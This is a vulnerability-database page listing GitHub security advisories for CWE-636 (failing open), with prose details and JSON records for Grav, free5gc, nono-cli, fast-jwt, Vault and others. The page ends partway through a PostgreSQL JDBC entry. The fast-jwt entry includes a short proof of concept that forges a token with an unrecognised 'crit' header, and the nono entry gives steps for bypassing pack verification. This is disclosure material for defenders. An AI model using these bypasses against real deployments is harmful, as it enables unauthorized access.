Common Weakness Enumeration

CWE-636

Allowed-with-Review

Not Failing Securely ('Failing Open')

Abstraction: Class · Status: Draft

API response cwe.mitre.org

When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.

88 vulnerabilities reference this CWE, most recent first.

GHSA-GV8P-326F-P8GJ

Vulnerability from github – Published: 2026-07-17 03:31 – Updated: 2026-07-17 03:31
VLAI
Details

Grav Flex-Objects before version 1.4.3 contains a broken access control vulnerability in the admin-next REST API that allows authenticated users with only api.access permission to perform unauthorized CRUD operations on permission-less directories. Attackers with api.access credentials can create, read, update, delete, and export objects from any directory lacking an explicit permissions configuration, bypassing intended authorization controls.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.3 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-62235"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-636"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T02:18:11Z",
    "severity": "LOW"
  },
  "details": "Grav Flex-Objects before version 1.4.3 contains a broken access control vulnerability in the admin-next REST API that allows authenticated users with only api.access permission to perform unauthorized CRUD operations on permission-less directories. Attackers with api.access credentials can create, read, update, delete, and export objects from any directory lacking an explicit permissions configuration, bypassing intended authorization controls.",
  "id": "GHSA-gv8p-326f-p8gj",
  "modified": "2026-07-17T03:31:24Z",
  "published": "2026-07-17T03:31:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-23vq-365v-qcmh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62235"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-flex-objects-authorization-bypass-via-api"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GX29-8G9G-89W4

Vulnerability from github – Published: 2024-05-02 18:30 – Updated: 2024-05-02 18:30
VLAI
Details

The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to improper missing encryption exception handling on the 'fea_encrypt' function in all versions up to, and including, 3.19.4. This makes it possible for unauthenticated attackers to manipulate the user processing forms, which can be used to add and edit administrator user for privilege escalation, or to automatically log in users for authentication bypass, or manipulate the post processing form that can be used to inject arbitrary web scripts. This can only be exploited if the 'openssl' php extension is not loaded on the server.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2024-3729"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-636",
      "CWE-754"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-02T17:15:30Z",
    "severity": "CRITICAL"
  },
  "details": "The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to improper missing encryption exception handling  on the \u0027fea_encrypt\u0027 function in all versions up to, and including, 3.19.4. This makes it possible for unauthenticated attackers to manipulate the user processing forms, which can be used to add and edit administrator user for privilege escalation, or to automatically log in users for authentication bypass, or manipulate the post processing form that can be used to inject arbitrary web scripts. This can only be exploited if the \u0027openssl\u0027 php extension is not loaded on the server.",
  "id": "GHSA-gx29-8g9g-89w4",
  "modified": "2024-05-02T18:30:55Z",
  "published": "2024-05-02T18:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3729"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.18.15/main/helpers.php#L617"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3073379/acf-frontend-form-element#file4"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a2d22c5d-5ef5-4920-a1b5-e8284394c7e8?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GX38-8H33-PMXR

Vulnerability from github – Published: 2026-04-14 20:00 – Updated: 2026-04-24 20:35
VLAI
Summary
free5gc UDR fail-open request handling in PolicyDataSubsToNotifySubsIdPut may allow unintended subscription updates after input errors
Details

Summary

A fail-open request handling flaw in the UDR service causes the /nudr-dr/v2/policy-data/subs-to-notify/{subsId} PUT handler to continue processing requests even after request body retrieval or deserialization errors.

This may allow unintended modification of existing Policy Data notification subscriptions with invalid, empty, or partially processed input, depending on downstream processor behavior.

Details

The endpoint PUT /nudr-dr/v2/policy-data/subs-to-notify/{subsId} is intended to update an existing Policy Data notification subscription only after the HTTP request body has been successfully read and parsed into a valid PolicyDataSubscription object. [file:93]

In the free5GC UDR implementation, the function HandlePolicyDataSubsToNotifySubsIdPut inNFs/udr/internal/sbi/api_datarepository.go does not terminate execution after input-processing failures. [file:93]

The request flow is:

  1. The handler calls c.GetRawData() to read the HTTP request body. [file:93]
  2. If GetRawData() fails, the handler sends an HTTP 500 error response, but does not return. [file:93]
  3. The handler then calls openapi.Deserialize(policyDataSubscription, reqBody, "application/json"). [file:93]
  4. If deserialization fails, the handler sends an HTTP 400 error response, but again does not return. [file:93]
  5. Execution continues and the handler still invokes s.Processor().PolicyDataSubsToNotifySubsIdPutProcedure(c, subsId, policyDataSubscription). [file:93]

As a result, the endpoint operates in a fail-open manner: request processing may continue after fatal input validation or body handling errors, instead of being safely aborted. [file:93]

The issue is compounded by the handler's deserialization call, which passes policyDataSubscription directly to openapi.Deserialize(...) instead of passing a pointer to the destination object. This inconsistent usage further increases the risk that request processing continues with an empty, partially initialized, or otherwise unintended subscription object. [file:93]

This differs from safer handlers in the same file, which use a helper pattern that explicitly returns on body read or deserialization failure before calling the corresponding processor routine. [file:93]

Security Impact

This issue affects a write-capable API that updates Policy Data notification subscriptions identified by subsId. [file:93]
Because execution continues after body read or parsing failure, the processor may receive an uninitialized, partially initialized, or otherwise unintended PolicyDataSubscription object for persistence. [file:93]

The exact runtime impact depends on downstream processor behavior and storage validation. [file:93]
At minimum, this is a security-relevant robustness flaw that can lead to inconsistent request handling or unintended modification attempts; under certain runtime conditions it may allow updates that should not be processed after an input error. [file:93]

Reproduction Status

The code path has been statically confirmed. [file:93] A complete runtime proof of unintended subscription modification after GetRawData() or deserialization failure has not yet been established. [file:93]

Patch

The handler should immediately terminate after sending an error response for body read or deserialization failure. [file:93]

A minimal fix is to add missing return statements in HandlePolicyDataSubsToNotifySubsIdPut and pass a pointer to the destination object during deserialization: [file:93]

reqBody, err := c.GetRawData()
if err != nil {
    logger.DataRepoLog.Errorf("Get Request Body error: %+v", err)
    pd := openapi.ProblemDetailsSystemFailure(err.Error())
    c.Set(sbi.IN_PB_DETAILS_CTX_STR, pd.Cause)
    c.JSON(http.StatusInternalServerError, pd)
    return
}

err = openapi.Deserialize(&policyDataSubscription, reqBody, "application/json")
if err != nil {
    logger.DataRepoLog.Errorf("Deserialize Request Body error: %+v", err)
    pd := util.ProblemDetailsMalformedReqSyntax(err.Error())
    c.Set(sbi.IN_PB_DETAILS_CTX_STR, pd.Cause)
    c.JSON(http.StatusBadRequest, pd)
    return
}
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/free5gc/udr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-636",
      "CWE-754"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T20:00:59Z",
    "nvd_published_at": "2026-04-16T22:16:38Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA fail-open request handling flaw in the UDR service causes the `/nudr-dr/v2/policy-data/subs-to-notify/{subsId}` PUT handler to continue processing requests even after request body retrieval or deserialization errors.\n\nThis may allow unintended modification of existing Policy Data notification subscriptions with invalid, empty, or partially processed input, depending on downstream processor behavior.\n\n### Details\nThe endpoint `PUT /nudr-dr/v2/policy-data/subs-to-notify/{subsId}` is intended to update an existing Policy Data notification subscription only after the HTTP request body has been successfully read and parsed into a valid `PolicyDataSubscription` object. [file:93]\n\nIn the free5GC UDR implementation, the function `HandlePolicyDataSubsToNotifySubsIdPut` in`NFs/udr/internal/sbi/api_datarepository.go` does not terminate execution after input-processing failures. [file:93]\n\nThe request flow is:\n\n1. The handler calls `c.GetRawData()` to read the HTTP request body. [file:93]\n2. If `GetRawData()` fails, the handler sends an HTTP 500 error response, but **does not return**. [file:93]\n3. The handler then calls `openapi.Deserialize(policyDataSubscription, reqBody, \"application/json\")`. [file:93]\n4. If deserialization fails, the handler sends an HTTP 400 error response, but again **does not return**. [file:93]\n5. Execution continues and the handler still invokes `s.Processor().PolicyDataSubsToNotifySubsIdPutProcedure(c, subsId, policyDataSubscription)`. [file:93]\n\nAs a result, the endpoint operates in a fail-open manner: request processing may continue after fatal input validation or body handling errors, instead of being safely aborted. [file:93]\n\nThe issue is compounded by the handler\u0027s deserialization call, which passes `policyDataSubscription` directly to `openapi.Deserialize(...)` instead of passing a pointer to the destination object. This inconsistent usage further increases the risk that request processing continues with an empty, partially initialized, or otherwise unintended subscription object. [file:93]\n\nThis differs from safer handlers in the same file, which use a helper pattern that explicitly returns on body read or deserialization failure before calling the corresponding processor routine. [file:93]\n\n### Security Impact\nThis issue affects a write-capable API that updates Policy Data notification subscriptions identified by `subsId`. [file:93]  \nBecause execution continues after body read or parsing failure, the processor may receive an uninitialized, partially initialized, or otherwise unintended `PolicyDataSubscription` object for persistence. [file:93]\n\nThe exact runtime impact depends on downstream processor behavior and storage validation. [file:93]  \nAt minimum, this is a security-relevant robustness flaw that can lead to inconsistent request handling or unintended modification attempts; under certain runtime conditions it may allow updates that should not be processed after an input error. [file:93]\n\n### Reproduction Status\nThe code path has been statically confirmed. [file:93]  A complete runtime proof of unintended subscription modification after\n`GetRawData()` or deserialization failure has not yet been established. [file:93]\n\n### Patch\nThe handler should immediately terminate after sending an error response for body read or deserialization failure. [file:93]\n\nA minimal fix is to add missing `return` statements in `HandlePolicyDataSubsToNotifySubsIdPut` and pass a pointer to the destination\nobject during deserialization: [file:93]\n\n```go\nreqBody, err := c.GetRawData()\nif err != nil {\n    logger.DataRepoLog.Errorf(\"Get Request Body error: %+v\", err)\n    pd := openapi.ProblemDetailsSystemFailure(err.Error())\n    c.Set(sbi.IN_PB_DETAILS_CTX_STR, pd.Cause)\n    c.JSON(http.StatusInternalServerError, pd)\n    return\n}\n\nerr = openapi.Deserialize(\u0026policyDataSubscription, reqBody, \"application/json\")\nif err != nil {\n    logger.DataRepoLog.Errorf(\"Deserialize Request Body error: %+v\", err)\n    pd := util.ProblemDetailsMalformedReqSyntax(err.Error())\n    c.Set(sbi.IN_PB_DETAILS_CTX_STR, pd.Cause)\n    c.JSON(http.StatusBadRequest, pd)\n    return\n}\n```",
  "id": "GHSA-gx38-8h33-pmxr",
  "modified": "2026-04-24T20:35:11Z",
  "published": "2026-04-14T20:00:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-gx38-8h33-pmxr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40249"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/udr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "free5gc UDR fail-open request handling in PolicyDataSubsToNotifySubsIdPut may allow unintended subscription updates after input errors"
}

GHSA-HC4M-Q9JH-XW4J

Vulnerability from github – Published: 2026-07-28 15:51 – Updated: 2026-07-28 15:51
VLAI
Summary
nono-cli'scregistry pack verification can fail open when provenance metadata is absent
Details

Summary

Registry-installed nono packs are expected to be verified from local provenance metadata before they are used. Two files are relevant:

  • ~/.config/nono/packages/lockfile.json
  • ~/.config/nono/packages/<namespace>/<pack>/.nono-trust.bundle

Testing shows that nono fails closed when a pack has a trust bundle but no lockfile entry. However, if the trust bundle is also absent, the same pack can load successfully. Deleting security metadata should not make a pack easier to run.

Affected behavior

Observed with always-further/claude:

  1. Delete ~/.config/nono/packages/lockfile.json.

Result:

text nono: Package verification failed for always-further/claude: pack 'always-further/claude' has a trust bundle but no lockfile entry - reinstall with: nono pull always-further/claude --force

  1. Delete ~/.config/nono/packages/always-further/claude/.nono-trust.bundle.

Result: the profile loads successfully.

  1. Restore .nono-trust.bundle while the lockfile is still absent.

Result:

text nono: Package verification failed for always-further/claude: pack 'always-further/claude' has a trust bundle but no lockfile entry - reinstall with: nono pull always-further/claude --force

Impact

If both the lockfile entry and trust bundle are absent, nono may accept an installed registry pack without artifact hash verification or provenance verification.

This is especially important for pack-provided session hooks, because session hooks execute on the host outside the sandbox. A pack that contributes host-executed code should not run unless nono can verify that the code is a locked and trusted pack artifact.

Root cause

verify_profile_packs treats the lockfile entry as optional. Existing code fails when a trust bundle exists without a matching lockfile entry, but when the trust bundle is absent too, there is no equivalent hard failure.

That creates a fail-open state:

  • lockfile entry missing
  • trust bundle missing
  • pack directory still present
  • profile can load

Recommended fix

For any registry pack selected for execution, require both:

  1. A matching lockfile entry in ~/.config/nono/packages/lockfile.json.
  2. A present and valid .nono-trust.bundle in the installed pack directory.

If either is missing, fail closed with a reinstall instruction, for example:

reinstall with: nono pull <namespace>/<pack> --force

This keeps verification monotonic: removing provenance metadata cannot downgrade a verification failure into a successful launch.

Severity
6.6 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.61.2"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "nono-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.61.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-636"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T15:51:30Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nRegistry-installed nono packs are expected to be verified from local provenance metadata before they are used. Two files are relevant:\n\n- `~/.config/nono/packages/lockfile.json`\n- `~/.config/nono/packages/\u003cnamespace\u003e/\u003cpack\u003e/.nono-trust.bundle`\n\nTesting shows that nono fails closed when a pack has a trust bundle but no lockfile entry. However, if the trust bundle is also absent, the same pack can load successfully. Deleting security metadata should not make a pack easier to run.\n\n## Affected behavior\n\nObserved with `always-further/claude`:\n\n1. Delete `~/.config/nono/packages/lockfile.json`.\n\n   Result:\n\n   ```text\n   nono: Package verification failed for always-further/claude: pack \u0027always-further/claude\u0027 has a trust bundle but no lockfile entry - reinstall with: nono pull always-further/claude --force\n   ```\n\n2. Delete `~/.config/nono/packages/always-further/claude/.nono-trust.bundle`.\n\n   Result: the profile loads successfully.\n\n3. Restore `.nono-trust.bundle` while the lockfile is still absent.\n\n   Result:\n\n   ```text\n   nono: Package verification failed for always-further/claude: pack \u0027always-further/claude\u0027 has a trust bundle but no lockfile entry - reinstall with: nono pull always-further/claude --force\n   ```\n\n## Impact\n\nIf both the lockfile entry and trust bundle are absent, nono may accept an installed registry pack without artifact hash verification or provenance verification.\n\nThis is especially important for pack-provided session hooks, because session hooks execute on the host outside the sandbox. A pack that contributes host-executed code should not run unless nono can verify that the code is a locked and trusted pack artifact.\n\n## Root cause\n\n`verify_profile_packs` treats the lockfile entry as optional. Existing code fails when a trust bundle exists without a matching lockfile entry, but when the trust bundle is absent too, there is no equivalent hard failure.\n\nThat creates a fail-open state:\n\n- lockfile entry missing\n- trust bundle missing\n- pack directory still present\n- profile can load\n\n## Recommended fix\n\nFor any registry pack selected for execution, require both:\n\n1. A matching lockfile entry in `~/.config/nono/packages/lockfile.json`.\n2. A present and valid `.nono-trust.bundle` in the installed pack directory.\n\nIf either is missing, fail closed with a reinstall instruction, for example:\n\n```text\nreinstall with: nono pull \u003cnamespace\u003e/\u003cpack\u003e --force\n```\n\nThis keeps verification monotonic: removing provenance metadata cannot downgrade a verification failure into a successful launch.",
  "id": "GHSA-hc4m-q9jh-xw4j",
  "modified": "2026-07-28T15:51:30Z",
  "published": "2026-07-28T15:51:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/always-further/nono/security/advisories/GHSA-hc4m-q9jh-xw4j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nolabs-ai/nono/commit/db07375031642f089d549b4f7b9abece87e39f87"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/always-further/nono"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nolabs-ai/nono/releases/tag/v0.62.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "nono-cli\u0027scregistry pack verification can fail open when provenance metadata is absent"
}

GHSA-HC4W-HM59-9W88

Vulnerability from github – Published: 2026-06-16 21:31 – Updated: 2026-06-18 20:42
VLAI
Summary
Duplicate Advisory: Empty-scope device re-pairing could confuse caller scope containment
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-8mg9-j9cf-54cj. This link is maintained to preserve external references.

Original Description

OpenClaw before 2026.4.25 contains a scope containment bypass vulnerability in device re-pairing that allows authenticated operators to restore broader scopes than intended by submitting empty-scope re-pairing requests. Attackers can exploit this by sending re-pairing requests with empty scope sets to skip containment guards and retain unauthorized device access.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
2.3 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2026.4.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-636"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T20:42:01Z",
    "nvd_published_at": "2026-06-16T19:17:02Z",
    "severity": "LOW"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-8mg9-j9cf-54cj. This link is maintained to preserve external references.\n\n## Original Description\nOpenClaw before 2026.4.25 contains a scope containment bypass vulnerability in device re-pairing that allows authenticated operators to restore broader scopes than intended by submitting empty-scope re-pairing requests. Attackers can exploit this by sending re-pairing requests with empty scope sets to skip containment guards and retain unauthorized device access.",
  "id": "GHSA-hc4w-hm59-9w88",
  "modified": "2026-06-18T20:42:01Z",
  "published": "2026-06-16T21:31:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-8mg9-j9cf-54cj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53852"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-scope-bypass-via-empty-scope-device-re-pairing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Empty-scope device re-pairing could confuse caller scope containment",
  "withdrawn": "2026-06-18T20:42:01Z"
}

GHSA-HM7R-C7QW-GHP6

Vulnerability from github – Published: 2026-04-03 22:01 – Updated: 2026-04-06 23:41
VLAI
Summary
fast-jwt accepts unknown `crit` header extensions (RFC 7515 violation)
Details

Summary

fast-jwt does not validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a crit array listing extensions that fast-jwt does not understand, the library accepts the token instead of rejecting it. This violates the MUST requirement in the RFC.

RFC Requirement

RFC 7515 §4.1.11:

If any of the listed extension Header Parameters are not understood and supported by the recipient, then the JWS is invalid.

Proof of Concept

const { createSigner, createVerifier } = require("fast-jwt"); // v3.3.3

const signer = createSigner({ key: "secret", algorithm: "HS256" });
const token = signer({
  sub: "attacker",
  role: "admin",
  header: { crit: ["x-custom-policy"], "x-custom-policy": "require-mfa" },
});

// Should REJECT — x-custom-policy is not understood
const verifier = createVerifier({ key: "secret", algorithms: ["HS256"] });
try {
  const result = verifier(token);
  console.log("ACCEPTED:", result);
  // Output: ACCEPTED: { sub: 'attacker', role: 'admin' }
} catch (e) {
  console.log("REJECTED:", e.message);
}

Expected: Error — unsupported critical extension Actual: Token accepted.

Comparison

// jose (panva) v4+ — correctly rejects
const jose = require("jose");
await jose.jwtVerify(token, new TextEncoder().encode("secret"));
// throws: Extension Header Parameter "x-custom-policy" is not recognized

Impact

  • Split-brain verification in mixed-library environments
  • Security policy bypass when crit carries enforcement semantics
  • Token binding bypass (RFC 7800 cnf confirmation)
  • See CVE-2025-59420 for full impact analysis

Suggested Fix

In src/verifier.js, add crit validation after header decoding:

const SUPPORTED_CRIT = new Set(["b64"]);

function validateCrit(header) {
  if (!header.crit) return;
  if (!Array.isArray(header.crit) || header.crit.length === 0)
    throw new Error("crit must be a non-empty array");
  for (const ext of header.crit) {
    if (!SUPPORTED_CRIT.has(ext))
      throw new Error(`Unsupported critical extension: ${ext}`);
    if (!(ext in header))
      throw new Error(`Critical extension ${ext} not present in header`);
  }
}
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "6.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35042"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-636"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T22:01:25Z",
    "nvd_published_at": "2026-04-06T17:17:13Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`fast-jwt` does not validate the `crit` (Critical) Header Parameter defined in RFC 7515 \u00a74.1.11. When a JWS token contains a `crit` array listing extensions that `fast-jwt` does not understand, the library accepts the token instead of rejecting it. This violates the **MUST** requirement in the RFC.\n\n---\n\n## RFC Requirement\n\nRFC 7515 \u00a74.1.11:\n\n\u003e If any of the listed extension Header Parameters are **not understood\n\u003e and supported** by the recipient, then the **JWS is invalid**.\n\n---\n\n## Proof of Concept\n\n```javascript\nconst { createSigner, createVerifier } = require(\"fast-jwt\"); // v3.3.3\n\nconst signer = createSigner({ key: \"secret\", algorithm: \"HS256\" });\nconst token = signer({\n  sub: \"attacker\",\n  role: \"admin\",\n  header: { crit: [\"x-custom-policy\"], \"x-custom-policy\": \"require-mfa\" },\n});\n\n// Should REJECT \u2014 x-custom-policy is not understood\nconst verifier = createVerifier({ key: \"secret\", algorithms: [\"HS256\"] });\ntry {\n  const result = verifier(token);\n  console.log(\"ACCEPTED:\", result);\n  // Output: ACCEPTED: { sub: \u0027attacker\u0027, role: \u0027admin\u0027 }\n} catch (e) {\n  console.log(\"REJECTED:\", e.message);\n}\n```\n\n**Expected:** Error \u2014 unsupported critical extension\n**Actual:** Token accepted.\n\n### Comparison\n\n```javascript\n// jose (panva) v4+ \u2014 correctly rejects\nconst jose = require(\"jose\");\nawait jose.jwtVerify(token, new TextEncoder().encode(\"secret\"));\n// throws: Extension Header Parameter \"x-custom-policy\" is not recognized\n```\n\n---\n\n## Impact\n\n- **Split-brain verification** in mixed-library environments\n- **Security policy bypass** when `crit` carries enforcement semantics\n- **Token binding bypass** (RFC 7800 `cnf` confirmation)\n- See CVE-2025-59420 for full impact analysis\n\n---\n\n## Suggested Fix\n\nIn `src/verifier.js`, add crit validation after header decoding:\n\n```javascript\nconst SUPPORTED_CRIT = new Set([\"b64\"]);\n\nfunction validateCrit(header) {\n  if (!header.crit) return;\n  if (!Array.isArray(header.crit) || header.crit.length === 0)\n    throw new Error(\"crit must be a non-empty array\");\n  for (const ext of header.crit) {\n    if (!SUPPORTED_CRIT.has(ext))\n      throw new Error(`Unsupported critical extension: ${ext}`);\n    if (!(ext in header))\n      throw new Error(`Critical extension ${ext} not present in header`);\n  }\n}\n```",
  "id": "GHSA-hm7r-c7qw-ghp6",
  "modified": "2026-04-06T23:41:50Z",
  "published": "2026-04-03T22:01:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-hm7r-c7qw-ghp6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35042"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9ggr-2464-2j32"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nearform/fast-jwt"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc7515.html#section-4.1.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-jwt accepts unknown `crit` header extensions (RFC 7515 violation)"
}

GHSA-J2RP-GMQV-FRHV

Vulnerability from github – Published: 2024-04-04 18:30 – Updated: 2024-09-26 16:45
VLAI
Summary
HashiCorpVault does not correctly validate OCSP responses
Details

Vault and Vault Enterprise TLS certificates auth method did not correctly validate OCSP responses when one or more OCSP sources were configured. Fixed in Vault 1.16.0 and Vault Enterprise 1.16.1, 1.15.7, and 1.14.11.

Severity
6.4 (Medium)
CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hashicorp/vault"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-2660"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-636",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-04T22:10:49Z",
    "nvd_published_at": "2024-04-04T18:15:14Z",
    "severity": "MODERATE"
  },
  "details": "Vault and Vault Enterprise TLS certificates auth method did not correctly validate OCSP responses when one or more OCSP sources were configured. Fixed in Vault 1.16.0 and Vault Enterprise 1.16.1, 1.15.7, and 1.14.11.",
  "id": "GHSA-j2rp-gmqv-frhv",
  "modified": "2024-09-26T16:45:51Z",
  "published": "2024-04-04T18:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2660"
    },
    {
      "type": "WEB",
      "url": "https://discuss.hashicorp.com/t/hcsec-2024-07-vault-tls-cert-auth-method-did-not-correctly-validate-ocsp-responses/64573"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hashicorp/vault"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240524-0007"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HashiCorpVault does not correctly validate OCSP responses"
}

GHSA-J92G-9F8W-J867

Vulnerability from github – Published: 2026-07-21 17:47 – Updated: 2026-07-21 17:47
VLAI
Summary
PostgreSQL JDBC Driver: Silent channel-binding authentication downgrade via unsupported certificate algorithms
Details

Impact

